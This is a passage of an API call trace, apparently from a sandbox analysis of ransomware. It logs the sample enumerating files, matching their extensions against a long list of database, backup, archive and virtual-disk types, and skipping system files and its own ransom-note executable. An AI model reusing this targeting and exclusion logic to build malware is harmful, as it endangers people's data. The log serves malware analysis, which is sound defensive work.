	[0036.789] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0036.789] lstrlenW (lpString="cma") returned 3
	[0036.789] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0036.789] lstrlenW (lpString="cpd") returned 3
	[0036.789] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0036.789] lstrlenW (lpString="dacpac") returned 6
	[0036.789] lstrcmpiW (lpString1="ve.url", lpString2="dacpac") returned 1
	[0036.790] lstrlenW (lpString="dad") returned 3
	[0036.790] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0036.790] lstrlenW (lpString="dadiagrams") returned 10
	[0036.790] lstrcmpiW (lpString1="s Live.url", lpString2="dadiagrams") returned 1
	[0036.790] lstrlenW (lpString="daschema") returned 8
	[0036.790] lstrcmpiW (lpString1="Live.url", lpString2="daschema") returned 1
	[0036.790] lstrlenW (lpString="db-journal") returned 10
	[0036.790] lstrcmpiW (lpString1="s Live.url", lpString2="db-journal") returned 1
	[0036.790] lstrlenW (lpString="db-shm") returned 6
	[0036.790] lstrcmpiW (lpString1="ve.url", lpString2="db-shm") returned 1
	[0036.790] lstrlenW (lpString="db-wal") returned 6
	[0036.790] lstrcmpiW (lpString1="ve.url", lpString2="db-wal") returned 1
	[0036.790] lstrlenW (lpString="dbc") returned 3
	[0036.790] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0036.790] lstrlenW (lpString="dbs") returned 3
	[0036.790] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0036.790] lstrlenW (lpString="dbt") returned 3
	[0036.790] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0036.790] lstrlenW (lpString="dbv") returned 3
	[0036.790] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0036.790] lstrlenW (lpString="dbx") returned 3
	[0036.790] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0036.790] lstrlenW (lpString="dcb") returned 3
	[0036.790] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0036.790] lstrlenW (lpString="dct") returned 3
	[0036.790] lstrcmpiW (lpString1="url", lpString2="dct") returned 1
	[0036.790] lstrlenW (lpString="dcx") returned 3
	[0036.790] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1
	[0036.790] lstrlenW (lpString="ddl") returned 3
	[0036.790] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1
	[0036.790] lstrlenW (lpString="dlis") returned 4
	[0036.790] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1
	[0036.790] lstrlenW (lpString="dp1") returned 3
	[0036.790] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1
	[0036.790] lstrlenW (lpString="dqy") returned 3
	[0036.790] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1
	[0036.790] lstrlenW (lpString="dsk") returned 3
	[0036.790] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1
	[0036.791] lstrlenW (lpString="dsn") returned 3
	[0036.791] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1
	[0036.791] lstrlenW (lpString="dtsx") returned 4
	[0036.791] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1
	[0036.791] lstrlenW (lpString="dxl") returned 3
	[0036.791] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1
	[0036.791] lstrlenW (lpString="eco") returned 3
	[0036.791] lstrcmpiW (lpString1="url", lpString2="eco") returned 1
	[0036.791] lstrlenW (lpString="ecx") returned 3
	[0036.791] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1
	[0036.791] lstrlenW (lpString="edb") returned 3
	[0036.791] lstrcmpiW (lpString1="url", lpString2="edb") returned 1
	[0036.791] lstrlenW (lpString="epim") returned 4
	[0036.791] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1
	[0036.791] lstrlenW (lpString="fcd") returned 3
	[0036.791] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1
	[0036.791] lstrlenW (lpString="fdb") returned 3
	[0036.791] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1
	[0036.791] lstrlenW (lpString="fic") returned 3
	[0036.791] lstrcmpiW (lpString1="url", lpString2="fic") returned 1
	[0036.791] lstrlenW (lpString="flexolibrary") returned 12
	[0036.791] lstrcmpiW (lpString1="ows Live.url", lpString2="flexolibrary") returned 1
	[0036.791] lstrlenW (lpString="fm5") returned 3
	[0036.791] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1
	[0036.791] lstrlenW (lpString="fmp") returned 3
	[0036.791] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1
	[0036.791] lstrlenW (lpString="fmp12") returned 5
	[0036.791] lstrcmpiW (lpString1="e.url", lpString2="fmp12") returned -1
	[0036.791] lstrlenW (lpString="fmpsl") returned 5
	[0036.791] lstrcmpiW (lpString1="e.url", lpString2="fmpsl") returned -1
	[0036.791] lstrlenW (lpString="fol") returned 3
	[0036.791] lstrcmpiW (lpString1="url", lpString2="fol") returned 1
	[0036.791] lstrlenW (lpString="fp3") returned 3
	[0036.791] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1
	[0036.791] lstrlenW (lpString="fp4") returned 3
	[0036.791] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1
	[0036.791] lstrlenW (lpString="fp5") returned 3
	[0036.791] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1
	[0036.791] lstrlenW (lpString="fp7") returned 3
	[0036.792] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1
	[0036.792] lstrlenW (lpString="fpt") returned 3
	[0036.792] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1
	[0036.792] lstrlenW (lpString="frm") returned 3
	[0036.792] lstrcmpiW (lpString1="url", lpString2="frm") returned 1
	[0036.792] lstrlenW (lpString="gdb") returned 3
	[0036.792] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0036.792] lstrlenW (lpString="gdb") returned 3
	[0036.792] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0036.792] lstrlenW (lpString="grdb") returned 4
	[0036.792] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1
	[0036.792] lstrlenW (lpString="gwi") returned 3
	[0036.792] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1
	[0036.792] lstrlenW (lpString="hdb") returned 3
	[0036.792] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1
	[0036.792] lstrlenW (lpString="his") returned 3
	[0036.792] lstrcmpiW (lpString1="url", lpString2="his") returned 1
	[0036.792] lstrlenW (lpString="ib") returned 2
	[0036.792] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1
	[0036.792] lstrlenW (lpString="idb") returned 3
	[0036.792] lstrcmpiW (lpString1="url", lpString2="idb") returned 1
	[0036.792] lstrlenW (lpString="ihx") returned 3
	[0036.792] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1
	[0036.792] lstrlenW (lpString="itdb") returned 4
	[0036.792] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1
	[0036.792] lstrlenW (lpString="itw") returned 3
	[0036.792] lstrcmpiW (lpString1="url", lpString2="itw") returned 1
	[0036.792] lstrlenW (lpString="jet") returned 3
	[0036.792] lstrcmpiW (lpString1="url", lpString2="jet") returned 1
	[0036.792] lstrlenW (lpString="jtx") returned 3
	[0036.792] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1
	[0036.792] lstrlenW (lpString="kdb") returned 3
	[0036.792] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1
	[0036.792] lstrlenW (lpString="kexi") returned 4
	[0036.792] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1
	[0036.792] lstrlenW (lpString="kexic") returned 5
	[0036.792] lstrcmpiW (lpString1="e.url", lpString2="kexic") returned -1
	[0036.792] lstrlenW (lpString="kexis") returned 5
	[0036.793] lstrcmpiW (lpString1="e.url", lpString2="kexis") returned -1
	[0036.793] lstrlenW (lpString="lgc") returned 3
	[0036.793] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1
	[0036.793] lstrlenW (lpString="lwx") returned 3
	[0036.793] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1
	[0036.793] lstrlenW (lpString="maf") returned 3
	[0036.793] lstrcmpiW (lpString1="url", lpString2="maf") returned 1
	[0036.793] lstrlenW (lpString="maq") returned 3
	[0036.793] lstrcmpiW (lpString1="url", lpString2="maq") returned 1
	[0036.793] lstrlenW (lpString="mar") returned 3
	[0036.793] lstrcmpiW (lpString1="url", lpString2="mar") returned 1
	[0036.793] lstrlenW (lpString="marshal") returned 7
	[0036.793] lstrcmpiW (lpString1="ive.url", lpString2="marshal") returned -1
	[0036.793] lstrlenW (lpString="mas") returned 3
	[0036.793] lstrcmpiW (lpString1="url", lpString2="mas") returned 1
	[0036.793] lstrlenW (lpString="mav") returned 3
	[0036.793] lstrcmpiW (lpString1="url", lpString2="mav") returned 1
	[0036.793] lstrlenW (lpString="maw") returned 3
	[0036.793] lstrcmpiW (lpString1="url", lpString2="maw") returned 1
	[0036.793] lstrlenW (lpString="mdbhtml") returned 7
	[0036.793] lstrcmpiW (lpString1="ive.url", lpString2="mdbhtml") returned -1
	[0036.793] lstrlenW (lpString="mdn") returned 3
	[0036.793] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1
	[0036.793] lstrlenW (lpString="mdt") returned 3
	[0036.793] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1
	[0036.793] lstrlenW (lpString="mfd") returned 3
	[0036.793] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1
	[0036.793] lstrlenW (lpString="mpd") returned 3
	[0036.793] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1
	[0036.793] lstrlenW (lpString="mrg") returned 3
	[0036.793] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1
	[0036.793] lstrlenW (lpString="mud") returned 3
	[0036.794] lstrcmpiW (lpString1="url", lpString2="mud") returned 1
	[0036.794] lstrlenW (lpString="mwb") returned 3
	[0036.794] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1
	[0036.794] lstrlenW (lpString="myd") returned 3
	[0036.794] lstrcmpiW (lpString1="url", lpString2="myd") returned 1
	[0036.794] lstrlenW (lpString="ndf") returned 3
	[0036.794] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1
	[0036.794] lstrlenW (lpString="nnt") returned 3
	[0036.794] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1
	[0036.794] lstrlenW (lpString="nrmlib") returned 6
	[0036.794] lstrcmpiW (lpString1="ve.url", lpString2="nrmlib") returned 1
	[0036.794] lstrlenW (lpString="ns2") returned 3
	[0036.794] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1
	[0036.794] lstrlenW (lpString="ns3") returned 3
	[0036.794] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1
	[0036.794] lstrlenW (lpString="ns4") returned 3
	[0036.794] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1
	[0036.794] lstrlenW (lpString="nsf") returned 3
	[0036.794] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1
	[0036.794] lstrlenW (lpString="nv") returned 2
	[0036.794] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1
	[0036.794] lstrlenW (lpString="nv2") returned 3
	[0036.794] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1
	[0036.794] lstrlenW (lpString="nwdb") returned 4
	[0036.794] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1
	[0036.794] lstrlenW (lpString="nyf") returned 3
	[0036.794] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1
	[0036.794] lstrlenW (lpString="odb") returned 3
	[0036.794] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0036.794] lstrlenW (lpString="odb") returned 3
	[0036.794] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0036.795] lstrlenW (lpString="oqy") returned 3
	[0036.795] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1
	[0036.795] lstrlenW (lpString="ora") returned 3
	[0036.795] lstrcmpiW (lpString1="url", lpString2="ora") returned 1
	[0036.795] lstrlenW (lpString="orx") returned 3
	[0036.795] lstrcmpiW (lpString1="url", lpString2="orx") returned 1
	[0036.795] lstrlenW (lpString="owc") returned 3
	[0036.795] lstrcmpiW (lpString1="url", lpString2="owc") returned 1
	[0036.795] lstrlenW (lpString="p96") returned 3
	[0036.795] lstrcmpiW (lpString1="url", lpString2="p96") returned 1
	[0036.795] lstrlenW (lpString="p97") returned 3
	[0036.795] lstrcmpiW (lpString1="url", lpString2="p97") returned 1
	[0036.795] lstrlenW (lpString="pan") returned 3
	[0036.795] lstrcmpiW (lpString1="url", lpString2="pan") returned 1
	[0036.795] lstrlenW (lpString="pdb") returned 3
	[0036.795] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1
	[0036.795] lstrlenW (lpString="pdm") returned 3
	[0036.795] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1
	[0036.795] lstrlenW (lpString="pnz") returned 3
	[0036.795] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1
	[0036.795] lstrlenW (lpString="qry") returned 3
	[0036.795] lstrcmpiW (lpString1="url", lpString2="qry") returned 1
	[0036.795] lstrlenW (lpString="qvd") returned 3
	[0036.795] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1
	[0036.795] lstrlenW (lpString="rbf") returned 3
	[0036.795] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1
	[0036.795] lstrlenW (lpString="rctd") returned 4
	[0036.795] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1
	[0036.795] lstrlenW (lpString="rod") returned 3
	[0036.795] lstrcmpiW (lpString1="url", lpString2="rod") returned 1
	[0036.795] lstrlenW (lpString="rodx") returned 4
	[0036.795] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1
	[0036.796] lstrlenW (lpString="rpd") returned 3
	[0036.796] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1
	[0036.796] lstrlenW (lpString="rsd") returned 3
	[0036.796] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1
	[0036.796] lstrlenW (lpString="sas7bdat") returned 8
	[0036.796] lstrcmpiW (lpString1="Live.url", lpString2="sas7bdat") returned -1
	[0036.796] lstrlenW (lpString="sbf") returned 3
	[0036.796] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1
	[0036.796] lstrlenW (lpString="scx") returned 3
	[0036.796] lstrcmpiW (lpString1="url", lpString2="scx") returned 1
	[0036.796] lstrlenW (lpString="sdb") returned 3
	[0036.796] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1
	[0036.796] lstrlenW (lpString="sdc") returned 3
	[0036.796] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1
	[0036.796] lstrlenW (lpString="sdf") returned 3
	[0036.796] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1
	[0036.796] lstrlenW (lpString="sis") returned 3
	[0036.796] lstrcmpiW (lpString1="url", lpString2="sis") returned 1
	[0036.796] lstrlenW (lpString="spq") returned 3
	[0036.796] lstrcmpiW (lpString1="url", lpString2="spq") returned 1
	[0036.796] lstrlenW (lpString="te") returned 2
	[0036.796] lstrcmpiW (lpString1="rl", lpString2="te") returned -1
	[0036.796] lstrlenW (lpString="teacher") returned 7
	[0036.796] lstrcmpiW (lpString1="ive.url", lpString2="teacher") returned -1
	[0036.796] lstrlenW (lpString="tmd") returned 3
	[0036.796] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1
	[0036.796] lstrlenW (lpString="tps") returned 3
	[0036.796] lstrcmpiW (lpString1="url", lpString2="tps") returned 1
	[0036.796] lstrlenW (lpString="trc") returned 3
	[0036.796] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0036.796] lstrlenW (lpString="trc") returned 3
	[0036.796] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0036.796] lstrlenW (lpString="trm") returned 3
	[0036.796] lstrcmpiW (lpString1="url", lpString2="trm") returned 1
	[0036.796] lstrlenW (lpString="udb") returned 3
	[0036.796] lstrcmpiW (lpString1="url", lpString2="udb") returned 1
	[0036.796] lstrlenW (lpString="udl") returned 3
	[0036.797] lstrcmpiW (lpString1="url", lpString2="udl") returned 1
	[0036.797] lstrlenW (lpString="usr") returned 3
	[0036.797] lstrcmpiW (lpString1="url", lpString2="usr") returned -1
	[0036.797] lstrlenW (lpString="v12") returned 3
	[0036.797] lstrcmpiW (lpString1="url", lpString2="v12") returned -1
	[0036.797] lstrlenW (lpString="vis") returned 3
	[0036.797] lstrcmpiW (lpString1="url", lpString2="vis") returned -1
	[0036.797] lstrlenW (lpString="vpd") returned 3
	[0036.797] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1
	[0036.797] lstrlenW (lpString="vvv") returned 3
	[0036.797] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1
	[0036.797] lstrlenW (lpString="wdb") returned 3
	[0036.797] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1
	[0036.797] lstrlenW (lpString="wmdb") returned 4
	[0036.797] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1
	[0036.797] lstrlenW (lpString="wrk") returned 3
	[0036.797] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1
	[0036.797] lstrlenW (lpString="xdb") returned 3
	[0036.797] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1
	[0036.797] lstrlenW (lpString="xld") returned 3
	[0036.797] lstrcmpiW (lpString1="url", lpString2="xld") returned -1
	[0036.797] lstrlenW (lpString="xmlff") returned 5
	[0036.797] lstrcmpiW (lpString1="e.url", lpString2="xmlff") returned -1
	[0036.797] FindNextFileW (in: hFindFile=0x5ca290, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e18abf0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e18abf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0036.797] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0036.797] FindNextFileW (in: hFindFile=0x5ca290, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1
	[0036.797] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.797] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="Apollon865.txt.exe") returned 1
	[0036.797] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2=".") returned 1
	[0036.797] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="..") returned 1
	[0036.797] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="windows") returned 1
	[0036.797] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="bootmgr") returned 1
	[0036.797] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="temp") returned 1
	[0036.797] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="pagefile.sys") returned 1
	[0036.797] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="boot") returned 1
	[0036.797] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="ids.txt") returned 1
	[0036.798] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="ntuser.dat") returned 1
	[0036.798] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="perflogs") returned 1
	[0036.798] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="MSBuild") returned 1
	[0036.798] lstrlenW (lpString="Windows Live Gallery.url") returned 24
	[0036.798] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url") returned 60
	[0036.798] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="Windows Live Gallery.url" | out: lpString1="Windows Live Gallery.url") returned="Windows Live Gallery.url"
	[0036.798] lstrlenW (lpString="Windows Live Gallery.url") returned 24
	[0036.798] lstrlenW (lpString="Apollon865") returned 10
	[0036.798] lstrcmpiW (lpString1="allery.url", lpString2="Apollon865") returned -1
	[0036.798] lstrlenW (lpString=".dll") returned 4
	[0036.798] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2=".dll") returned 1
	[0036.798] lstrlenW (lpString=".lnk") returned 4
	[0036.798] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2=".lnk") returned 1
	[0036.798] lstrlenW (lpString=".ini") returned 4
	[0036.798] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2=".ini") returned 1
	[0036.798] lstrlenW (lpString=".sys") returned 4
	[0036.798] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2=".sys") returned 1
	[0036.798] lstrlenW (lpString="Windows Live Gallery.url") returned 24
	[0036.798] lstrlenW (lpString="bak") returned 3
	[0036.798] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0036.798] lstrlenW (lpString="ba_") returned 3
	[0036.798] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0036.798] lstrlenW (lpString="dbb") returned 3
	[0036.798] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0036.798] lstrlenW (lpString="vmdk") returned 4
	[0036.798] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0036.798] lstrlenW (lpString="rar") returned 3
	[0036.798] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0036.798] lstrlenW (lpString="zip") returned 3
	[0036.798] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0036.798] lstrlenW (lpString="tgz") returned 3
	[0036.798] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0036.798] lstrlenW (lpString="vbox") returned 4
	[0036.798] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0036.798] lstrlenW (lpString="vdi") returned 3
	[0036.798] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0036.798] lstrlenW (lpString="vhd") returned 3
	[0036.799] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0036.799] lstrlenW (lpString="vhdx") returned 4
	[0036.799] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0036.799] lstrlenW (lpString="avhd") returned 4
	[0036.799] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0036.799] lstrlenW (lpString="db") returned 2
	[0036.799] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0036.799] lstrlenW (lpString="db2") returned 3
	[0036.799] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0036.799] lstrlenW (lpString="db3") returned 3
	[0036.799] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0036.799] lstrlenW (lpString="dbf") returned 3
	[0036.799] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0036.799] lstrlenW (lpString="mdf") returned 3
	[0036.799] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0036.799] lstrlenW (lpString="mdb") returned 3
	[0036.799] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0036.799] lstrlenW (lpString="sql") returned 3
	[0036.799] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0036.799] lstrlenW (lpString="sqlite") returned 6
	[0036.799] lstrcmpiW (lpString1="ry.url", lpString2="sqlite") returned -1
	[0036.799] lstrlenW (lpString="sqlite3") returned 7
	[0036.799] lstrcmpiW (lpString1="ery.url", lpString2="sqlite3") returned -1
	[0036.799] lstrlenW (lpString="sqlitedb") returned 8
	[0036.799] lstrcmpiW (lpString1="lery.url", lpString2="sqlitedb") returned -1
	[0036.799] lstrlenW (lpString="xml") returned 3
	[0036.799] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0036.799] lstrlenW (lpString="$er") returned 3
	[0036.799] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0036.799] lstrlenW (lpString="4dd") returned 3
	[0036.799] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0036.799] lstrlenW (lpString="4dl") returned 3
	[0036.799] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0036.799] lstrlenW (lpString="^^^") returned 3
	[0036.799] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0036.799] lstrlenW (lpString="abs") returned 3
	[0036.799] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0036.799] lstrlenW (lpString="abx") returned 3
	[0036.799] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0036.800] lstrlenW (lpString="accdb") returned 5
	[0036.800] lstrcmpiW (lpString1="y.url", lpString2="accdb") returned 1
	[0036.800] lstrlenW (lpString="accdc") returned 5
	[0036.800] lstrcmpiW (lpString1="y.url", lpString2="accdc") returned 1
	[0036.800] lstrlenW (lpString="accde") returned 5
	[0036.800] lstrcmpiW (lpString1="y.url", lpString2="accde") returned 1
	[0036.800] lstrlenW (lpString="accdr") returned 5
	[0036.800] lstrcmpiW (lpString1="y.url", lpString2="accdr") returned 1
	[0036.800] lstrlenW (lpString="accdt") returned 5
	[0036.800] lstrcmpiW (lpString1="y.url", lpString2="accdt") returned 1
	[0036.800] lstrlenW (lpString="accdw") returned 5
	[0036.800] lstrcmpiW (lpString1="y.url", lpString2="accdw") returned 1
	[0036.800] lstrlenW (lpString="accft") returned 5
	[0036.800] lstrcmpiW (lpString1="y.url", lpString2="accft") returned 1
	[0036.800] lstrlenW (lpString="adb") returned 3
	[0036.800] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0036.800] lstrlenW (lpString="adb") returned 3
	[0036.800] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0036.800] lstrlenW (lpString="ade") returned 3
	[0036.800] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0036.800] lstrlenW (lpString="adf") returned 3
	[0036.800] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0036.800] lstrlenW (lpString="adn") returned 3
	[0036.800] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0036.800] lstrlenW (lpString="adp") returned 3
	[0036.800] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0036.800] lstrlenW (lpString="alf") returned 3
	[0036.800] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0036.800] lstrlenW (lpString="ask") returned 3
	[0036.800] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0036.800] lstrlenW (lpString="btr") returned 3
	[0036.800] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0036.800] lstrlenW (lpString="cat") returned 3
	[0036.800] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0036.800] lstrlenW (lpString="cdb") returned 3
	[0036.800] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0036.800] lstrlenW (lpString="ckp") returned 3
	[0036.800] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0036.800] lstrlenW (lpString="cma") returned 3
	[0036.801] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0036.801] lstrlenW (lpString="cpd") returned 3
	[0036.801] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0036.801] lstrlenW (lpString="dacpac") returned 6
	[0036.801] lstrcmpiW (lpString1="ry.url", lpString2="dacpac") returned 1
	[0036.801] lstrlenW (lpString="dad") returned 3
	[0036.801] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0036.801] lstrlenW (lpString="dadiagrams") returned 10
	[0036.801] lstrcmpiW (lpString1="allery.url", lpString2="dadiagrams") returned -1
	[0036.801] lstrlenW (lpString="daschema") returned 8
	[0036.801] lstrcmpiW (lpString1="lery.url", lpString2="daschema") returned 1
	[0036.802] lstrlenW (lpString="db-journal") returned 10
	[0036.802] lstrcmpiW (lpString1="allery.url", lpString2="db-journal") returned -1
	[0036.802] lstrlenW (lpString="db-shm") returned 6
	[0036.802] lstrcmpiW (lpString1="ry.url", lpString2="db-shm") returned 1
	[0036.802] lstrlenW (lpString="db-wal") returned 6
	[0036.802] lstrcmpiW (lpString1="ry.url", lpString2="db-wal") returned 1
	[0036.802] lstrlenW (lpString="dbc") returned 3
	[0036.802] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0036.802] lstrlenW (lpString="dbs") returned 3
	[0036.802] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0036.802] lstrlenW (lpString="dbt") returned 3
	[0036.802] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0036.802] lstrlenW (lpString="dbv") returned 3
	[0036.802] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0036.802] lstrlenW (lpString="dbx") returned 3
	[0036.802] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0036.802] lstrlenW (lpString="dcb") returned 3
	[0036.802] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
